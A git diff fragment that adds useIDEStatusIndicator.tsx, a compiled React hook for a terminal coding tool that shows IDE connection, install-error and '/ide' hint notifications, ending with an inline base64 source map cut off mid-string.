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
\ No newline at end of file
diff --git a/cc-haha/src/hooks/notifs/useIDEStatusIndicator.tsx b/cc-haha/src/hooks/notifs/useIDEStatusIndicator.tsx
new file mode 100644
index 0000000..1b46333
--- /dev/null
+++ b/cc-haha/src/hooks/notifs/useIDEStatusIndicator.tsx
@@ -0,0 +1,186 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { useEffect, useRef } from 'react';
+import { useNotifications } from 'src/context/notifications.js';
+import { Text } from 'src/ink.js';
+import type { MCPServerConnection } from 'src/services/mcp/types.js';
+import { getGlobalConfig, saveGlobalConfig } from 'src/utils/config.js';
+import { detectIDEs, type IDEExtensionInstallationStatus, isJetBrainsIde, isSupportedTerminal } from 'src/utils/ide.js';
+import { getIsRemoteMode } from '../../bootstrap/state.js';
+import { useIdeConnectionStatus } from '../useIdeConnectionStatus.js';
+import type { IDESelection } from '../useIdeSelection.js';
+const MAX_IDE_HINT_SHOW_COUNT = 5;
+type Props = {
+  ideInstallationStatus: IDEExtensionInstallationStatus | null;
+  ideSelection: IDESelection | undefined;
+  mcpClients: MCPServerConnection[];
+};
+export function useIDEStatusIndicator(t0) {
+  const $ = _c(26);
+  const {
+    ideSelection,
+    mcpClients,
+    ideInstallationStatus
+  } = t0;
+  const {
+    addNotification,
+    removeNotification
+  } = useNotifications();
+  const {
+    status: ideStatus,
+    ideName
+  } = useIdeConnectionStatus(mcpClients);
+  const hasShownHintRef = useRef(false);
+  let t1;
+  if ($[0] !== ideInstallationStatus) {
+    t1 = ideInstallationStatus ? isJetBrainsIde(ideInstallationStatus?.ideType) : false;
+    $[0] = ideInstallationStatus;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const isJetBrains = t1;
+  const showIDEInstallErrorOrJetBrainsInfo = ideInstallationStatus?.error || isJetBrains;
+  const shouldShowIdeSelection = ideStatus === "connected" && (ideSelection?.filePath || ideSelection?.text && ideSelection.lineCount > 0);
+  const shouldShowConnected = ideStatus === "connected" && !shouldShowIdeSelection;
+  const showIDEInstallError = showIDEInstallErrorOrJetBrainsInfo && !isJetBrains && !shouldShowConnected && !shouldShowIdeSelection;
+  const showJetBrainsInfo = showIDEInstallErrorOrJetBrainsInfo && isJetBrains && !shouldShowConnected && !shouldShowIdeSelection;
+  let t2;
+  let t3;
+  if ($[2] !== addNotification || $[3] !== ideStatus || $[4] !== removeNotification || $[5] !== showJetBrainsInfo) {
+    t2 = () => {
+      if (getIsRemoteMode()) {
+        return;
+      }
+      if (isSupportedTerminal() || ideStatus !== null || showJetBrainsInfo) {
+        removeNotification("ide-status-hint");
+        return;
+      }
+      if (hasShownHintRef.current || (getGlobalConfig().ideHintShownCount ?? 0) >= MAX_IDE_HINT_SHOW_COUNT) {
+        return;
+      }
+      const timeoutId = setTimeout(_temp2, 3000, hasShownHintRef, addNotification);
+      return () => clearTimeout(timeoutId);
+    };
+    t3 = [addNotification, removeNotification, ideStatus, showJetBrainsInfo];
+    $[2] = addNotification;
+    $[3] = ideStatus;
+    $[4] = removeNotification;
+    $[5] = showJetBrainsInfo;
+    $[6] = t2;
+    $[7] = t3;
+  } else {
+    t2 = $[6];
+    t3 = $[7];
+  }
+  useEffect(t2, t3);
+  let t4;
+  let t5;
+  if ($[8] !== addNotification || $[9] !== ideName || $[10] !== ideStatus || $[11] !== removeNotification || $[12] !== showIDEInstallError || $[13] !== showJetBrainsInfo) {
+    t4 = () => {
+      if (getIsRemoteMode()) {
+        return;
+      }
+      if (showIDEInstallError || showJetBrainsInfo || ideStatus !== "disconnected" || !ideName) {
+        removeNotification("ide-status-disconnected");
+        return;
+      }
+      addNotification({
+        key: "ide-status-disconnected",
+        text: `${ideName} disconnected`,
+        color: "error",
+        priority: "medium"
+      });
+    };
+    t5 = [addNotification, removeNotification, ideStatus, ideName, showIDEInstallError, showJetBrainsInfo];
+    $[8] = addNotification;
+    $[9] = ideName;
+    $[10] = ideStatus;
+    $[11] = removeNotification;
+    $[12] = showIDEInstallError;
+    $[13] = showJetBrainsInfo;
+    $[14] = t4;
+    $[15] = t5;
+  } else {
+    t4 = $[14];
+    t5 = $[15];
+  }
+  useEffect(t4, t5);
+  let t6;
+  let t7;
+  if ($[16] !== addNotification || $[17] !== removeNotification || $[18] !== showJetBrainsInfo) {
+    t6 = () => {
+      if (getIsRemoteMode()) {
+        return;
+      }
+      if (!showJetBrainsInfo) {
+        removeNotification("ide-status-jetbrains-disconnected");
+        return;
+      }
+      addNotification({
+        key: "ide-status-jetbrains-disconnected",
+        text: "IDE plugin not connected \xB7 /status for info",
+        priority: "medium"
+      });
+    };
+    t7 = [addNotification, removeNotification, showJetBrainsInfo];
+    $[16] = addNotification;
+    $[17] = removeNotification;
+    $[18] = showJetBrainsInfo;
+    $[19] = t6;
+    $[20] = t7;
+  } else {
+    t6 = $[19];
+    t7 = $[20];
+  }
+  useEffect(t6, t7);
+  let t8;
+  let t9;
+  if ($[21] !== addNotification || $[22] !== removeNotification || $[23] !== showIDEInstallError) {
+    t8 = () => {
+      if (getIsRemoteMode()) {
+        return;
+      }
+      if (!showIDEInstallError) {
+        removeNotification("ide-status-install-error");
+        return;
+      }
+      addNotification({
+        key: "ide-status-install-error",
+        text: "IDE extension install failed (see /status for info)",
+        color: "error",
+        priority: "medium"
+      });
+    };
+    t9 = [addNotification, removeNotification, showIDEInstallError];
+    $[21] = addNotification;
+    $[22] = removeNotification;
+    $[23] = showIDEInstallError;
+    $[24] = t8;
+    $[25] = t9;
+  } else {
+    t8 = $[24];
+    t9 = $[25];
+  }
+  useEffect(t8, t9);
+}
+function _temp2(hasShownHintRef_0, addNotification_0) {
+  detectIDEs(true).then(infos => {
+    const ideName_0 = infos[0]?.name;
+    if (ideName_0 && !hasShownHintRef_0.current) {
+      hasShownHintRef_0.current = true;
+      saveGlobalConfig(_temp);
+      addNotification_0({
+        key: "ide-status-hint",
+        jsx: <Text dimColor={true}>/ide for <Text color="ide">{ideName_0}</Text></Text>,
+        priority: "low"
+      });
+    }
+  });
+}
+function _temp(current) {
+  return {
+    ...current,
+    ideHintShownCount: (current.ideHintShownCount ?? 0) + 1
+  };
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZUVmZmVjdCIsInVzZVJlZiIsInVzZU5vdGlmaWNhdGlvbnMiLCJUZXh0IiwiTUNQU2VydmVyQ29ubmVjdGlvbiIsImdldEdsb2JhbENvbmZpZyIsInNhdmVHbG9iYWxDb25maWciLCJkZXRlY3RJREVzIiwiSURFRXh0ZW5zaW9uSW5zdGFsbGF0aW9uU3RhdHVzIiwiaXNKZXRCcmFpbnNJZGUiLCJpc1N1cHBvcnRlZFRlcm1pbmFsIiwiZ2V0SXNSZW1vdGVNb2RlIiwidXNlSWRlQ29ubmVjdGlvblN0YXR1cyIsIklERVNlbGVjdGlvbiIsIk1BWF9JREVfSElOVF9TSE9XX0NPVU5UIiwiUHJvcHMiLCJpZGVJbnN0YWxsYXRpb25TdGF0dXMiLCJpZGVTZWxlY3Rpb24iLCJtY3BDbGllbnRzIiwidXNlSURFU3RhdHVzSW5kaWNhdG9yIiwidDAiLCIkIiwiX2MiLCJhZGROb3RpZmljYXRpb24iLCJyZW1vdmVOb3RpZmljYXRpb24iLCJzdGF0dXMiLCJpZGVTdGF0dXMiLCJpZGVOYW1lIiwiaGFzU2hvd25IaW50UmVmIiwidDEiLCJpZGVUeXBlIiwiaXNKZXRCcmFpbnMiLCJzaG93SURFSW5zdGFsbEVycm9yT3JKZXRCcmFpbnNJbmZvIiwiZXJyb3IiLCJzaG91bGRTaG93SWRlU2VsZWN0aW9uIiwiZmlsZVBhdGgiLCJ0ZXh0IiwibGluZUNvdW50Iiwic2hvdWxkU2hvd0Nvbm5lY3RlZCIsInNob3dJREVJbnN0YWxsRXJyb3IiLCJzaG93SmV0QnJhaW5zSW5mbyIsInQyIiwidDMiLCJjdXJyZW50IiwiaWRlSGludFNob3duQ291bnQiLCJ0aW1lb3V0SWQiLCJzZXRUaW1lb3V0IiwiX3RlbXAyIiwiY2xlYXJUaW1lb3V0IiwidDQiLCJ0NSIsImtleSIsImNvbG9yIiwicHJpb3JpdHkiLCJ0NiIsInQ3IiwidDgiLCJ0OSIsImhhc1Nob3duSGludFJlZl8wIiwiYWRkTm90aWZpY2F0aW9uXzAiLCJ0aGVuIiwiaW5mb3MiLCJpZGVOYW1lXzAiLCJuYW1lIiwiX3RlbXAiLCJqc3giXSwic291cmNlcyI6WyJ1c2VJREVTdGF0dXNJbmRpY2F0b3IudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBSZWFjdCwgeyB1c2VFZmZlY3QsIHVzZVJlZiB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgdXNlTm90aWZpY2F0aW9ucyB9IGZyb20gJ3NyYy9jb250ZXh0L25vdGlmaWNhdGlvbnMuanMnXG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnc3JjL2luay5qcydcbmltcG9ydCB0eXBlIHsgTUNQU2VydmVyQ29ubmVjdGlvbiB9IGZyb20gJ3NyYy9zZXJ2aWNlcy9tY3AvdHlwZXMuanMnXG5pbXBvcnQgeyBnZXRHbG9iYWxDb25maWcsIHNhdmVHbG9iYWxDb25maWcgfSBmcm9tICdzcmMvdXRpbHMvY29uZmlnLmpzJ1xuaW1wb3J0IHtcbiAgZGV0ZWN0SURFcyxcbiAgdHlwZSBJREVFeHRlbnNpb25JbnN0YWxsYXRpb25TdGF0dXMsXG4gIGlzSmV0QnJhaW5zSWRlLFxuICBpc1N1cHBvcnRlZFRlcm1pbmFsLFxufSBmcm9tICdzcmMvdXRpbHMvaWRlLmpzJ1xuaW1wb3J0IHsgZ2V0SXNSZW1vdGVNb2RlIH0gZnJvbSAnLi4vLi4vYm9vdHN0cmFwL3N0YXRlLmpzJ1xuaW1wb3J0IHsgdXNlSWRlQ29ubmVjdGlvblN0YXR1cyB9IGZyb20gJy4uL3VzZUlkZUNvbm5lY3Rpb25TdGF0dXMuanMnXG5pbXBvcnQgdHlwZSB7IElERVNlbGVjdGlvbiB9IGZyb20gJy4uL3VzZUlkZVNlbGVjdGlvbi5qcydcblxuY29uc3QgTUFYX0lERV9ISU5UX1NIT1dfQ09VTlQgPSA1XG5cbnR5cGUgUHJvcHMgPSB7XG4gIGlkZUluc3RhbGxhdGlvblN0YXR1czogSURFRXh0ZW5zaW9uSW5zdGFsbGF0aW9uU3RhdHVzIHwgbnVsbFxuICBpZGVTZWxlY3Rpb246IElERVNlbGVjdGlvbiB8IHVuZGVmaW5lZFxuICBtY3BDbGllbnRzOiBNQ1BTZXJ2ZXJDb25uZWN0aW9uW11cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHVzZUlERVN0YXR1c0luZGljYXRvcih7XG4gIGlkZVNlbGVjdGlvbixcbiAgbWNwQ2xpZW50cyxcbiAgaWRlSW5zdGFsbGF0aW9uU3RhdHVzLFxufTogUHJvcHMpOiB2b2lkIHtcbiAgY29uc3QgeyBhZGROb3RpZmljYXRpb24sIHJlbW92ZU5vdGlmaWNhdGlvbiB9ID0gdXNlTm90aWZpY2F0aW9ucygpXG4gIGNvbnN0IHsgc3RhdHVzOiBpZGVTdGF0dXMsIGlkZU5hbWUgfSA9IHVzZUlkZUNvbm5lY3Rpb25TdGF0dXMobWNwQ2xpZW50cylcbiAgY29uc3QgaGFzU2hvd25IaW50UmVmID0gdXNlUmVmKGZhbHNlKVxuXG4gIGNvbnN0IGlzSmV0QnJhaW5zID0gaWRlSW5zdGFsbGF0aW9uU3RhdHVzXG4gICAgPyBpc0pldEJyYWluc0lkZShpZGVJbnN0YWxsYXRpb25TdGF0dXM/LmlkZVR5cGUpXG4gICAgOiBmYWxzZVxuICBjb25zdCBzaG93SURFSW5zdGFsbEVycm9yT3JKZXRCcmFpbnNJbmZvID1cbiAgICBpZGVJbnN0YWxsYXRpb25TdGF0dXM/LmVycm9yIHx8IGlzSmV0QnJhaW5zXG5cbiAgY29uc3Qgc2hvdWxkU2hvd0lkZVNlbGVjdGlvbiA9XG4gICAgaWRlU3RhdHVzID09PSAnY29ubmVjdGVkJyAmJlxuICAgIChpZGVTZWxlY3Rpb24/LmZpbGVQYXRoIHx8XG4gICAgICAoaWRlU2VsZWN0aW9uPy50ZXh0ICYmIGlkZVNlbGVjdGlvbi5saW5lQ291bnQgPiAwKSlcblxuICAvLyBPbmx5IHNob3cgdGhlIGNvbm5lY3RlZCBpZiBub3Qgc2hvd2luZyBjb250ZXh0XG4gIGNvbnN0IHNob3VsZFNob3dDb25uZWN0ZWQgPVxuICAgIGlkZVN0YXR1cyA9PT0gJ2Nvbm5lY3RlZCcgJiYgIXNob3VsZFNob3dJZGVTZWxlY3Rpb25cblxuICBjb25zdCBzaG93SURFSW5zdGFsbEVycm9yID1cbiAgICBzaG93SURFSW5zdGFsbEVycm9yT3JKZXRCcmFpbnNJbmZvICYmXG4gICAgIWlzSmV0QnJhaW5zICYmXG4gICAgIXNob3VsZFNob3dDb25uZWN0ZWQgJiZcbiAgICAhc2hvdWxkU2hvd0lkZVNlbGVjdGlvblxuXG4gIGNvbnN0IHNob3dKZXRCcmFpbnNJbmZvID1cbiAgICBzaG93SURFSW5zdGFsbEVycm9yT3JKZXRCcmFpbnNJbmZvICYmXG4gICAgaXNKZXRCcmFpbnMgJiZcbiAgICAhc2hvdWxkU2hvd0Nvbm5lY3RlZCAmJlxuICAgICFzaG91bGRTaG93SWRlU2VsZWN0aW9uXG5cbiAgLy8gU2hvdyB0aGUgL2lkZSBjb21tYW5kIGhpbnQgaWYgcnVubmluZyBmcm9tIGFuIGV4dGVybmFsIHRlcm1pbmFsIGFuZCBmb3VuZCBydW5uaW5nIElERShzKVxuICAvLyBEZWxheSBzaG93aW5nIGhpbnQgdG8gYXZvaWQgYnJpZWYgZmxhc2ggZHVyaW5nIGF1dG8tY29ubmVjdCBzdGFydHVwXG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgaWYgKGdldElzUmVtb3RlTW9kZSgpKSByZXR1cm5cbiAgICBpZiAoaXNTdXBwb3J0ZWRUZXJtaW5hbCgpIHx8IGlkZVN0YXR1cyAhPT0gbnVsbCB8fCBzaG93SmV0QnJhaW5zSW5mbykge1xuICAgICAgcmVtb3ZlTm90aWZpY2F0aW9uKCdpZGUtc3RhdHVzLWhpbnQnKVxuICAgICAgcmV0dXJuXG4gICAgfVxuICAgIC8vIFdhaXQgYSBiaXQgdG8gbGV0IGF1dG8tY29ubmVjdCBoYXBwZW4gZmlyc3QsIGF2b2lkaW5nIGJyaWVmIGhpbnQgZmxhc2hcbiAgICBpZiAoXG4gICAgICBoYXNTaG93bkhpbnRSZWYuY3VycmVudCB8fFxuICAgICAgKGdldEdsb2JhbENvbmZpZygpLmlkZUhpbnRTaG93bkNvdW50ID8/IDApID49IE1BWF9JREVfSElOVF9TSE9XX0NPVU5UXG4gICAgKSB7XG4gICAgICByZXR1cm5cbiAgICB9XG4gICAgY29uc3QgdGltZW91dElkID0gc2V0VGltZW91dChcbiAgICAgIChoYXNTaG93bkhpbnRSZWYsIGFkZE5vdGlmaWNhdGlvbikgPT4ge1xuICAgICAgICB2b2lkIGRldGVjdElERXModHJ1ZSkudGhlbihpbmZvcyA9PiB7XG4gICAgICAgICAgY29uc3QgaWRlTmFtZSA9IGluZm9zWzBdPy5uYW1lXG4gICAgICAgICAgaWYgKGlkZU5hbWUgJiYgIWhhc1Nob3duSGludFJlZi5jdXJyZW50KSB7XG4gICAgICAgICAgICBoYXNTaG93bkhpbnRSZWYuY3VycmVudCA9IHRydWVcbiAgICAgICAgICAgIHNhdmVHbG9iYWxDb25maWcoY3VycmVudCA9PiAoe1xuICAgICAgICAgICAgICAuLi5jdXJyZW50LFxuICAgICAgICAgICAgICBpZGVIaW50U2hvd25Db3VudDogKGN1cnJlbnQuaWRlSGludFNob3duQ291bnQgPz8gMCkgKyAxLFxuICAgICAgICAgICAgfSkpXG4gICAgICAgICAgICBhZGROb3RpZmljYXRpb24oe1xuICAgICAgICAgICAgICBrZXk6ICdpZGUtc3RhdHVzLWhpbnQnLFxuICAgICAgICAgICAgICBqc3g6IChcbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgICAgIC9pZGUgZm9yIDxUZXh0IGNvbG9yPVwiaWRlXCI+e2lkZU5hbWV9PC9UZXh0PlxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgKSxcbiAgICAgICAgICAgICAgcHJpb3JpdHk6ICdsb3cnLFxuICAgICAgICAgICAgfSlcbiAgICAgICAgICB9XG4gICAgICAgIH0pXG4gICAgICB9LFxuICAgICAgMzAwMCxcbiAgICAgIGhhc1Nob3duSGludFJlZixcbiAgICAgIGFkZE5vdGlmaWNhdGlvbixcbiAgICApXG4gICAgcmV0dXJuICgpID0+IGNsZWFyVGltZW91dCh0aW1lb3V0SWQpXG4gIH0sIFthZGROb3RpZmljYXRpb24sIHJlbW92ZU5vdGlmaWNhdGlvbiwgaWRlU3RhdHVzLCBzaG93SmV0QnJhaW5zSW5mb10pXG5cbiAgLy8gU2hvdyBJREUgZGlzY29ubmVjdGVkL2ZhaWxlZCBub3RpZmljYXRpb24gd2hlbiBzdGF0dXMgaXMgZGlzY29ubmVjdGVkXG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgaWYgKGdldElzUmVtb3RlTW9kZSgpKSByZXR1cm5cbiAgICBpZiAoXG4gICAgICBzaG93SURFSW5zdGFsbEVycm9yIHx8XG4gICAgICBzaG93SmV0QnJhaW5zSW5mbyB8fFxuICAgICAgaWRlU3RhdHVzICE9PSAnZGlzY29ubmVjdGVkJyB8fFxuICAgICAgIWlkZU5hbWVcbiAgICApIHtcbiAgICAgIHJlbW92ZU5vdGlmaWNhdGlvbignaWRlLXN0YXR1cy1kaXNjb25uZWN0ZWQnKVxuICAgICAgcmV0dXJuXG4gICAgfVxuICAgIGFkZE5vdGlmaWNhdGlvbih7XG4gICAgICBrZXk6ICdpZGUtc3RhdHVzLWRpc2Nvbm5lY3RlZCcsXG4gICAgICB0ZXh0OiBgJHtpZGVOYW1lfSBkaXNjb25uZWN0ZWRgLFxuICAgICAgY29sb3I6ICdlcnJvcicsXG4gICAgICBwcmlvcml0eTogJ21lZGl1bScsXG4gICAgfSlcbiAgfSwgW1xuICAgIGFkZE5vdGlmaWNhdGlvbixcbiAgICByZW1vdmVOb3RpZmljYXRpb24sXG4gICAgaWRlU3RhdHVzLFxuICAgIGlkZU5hbWUsXG4gICAgc2hvd0lERUluc3RhbGxFc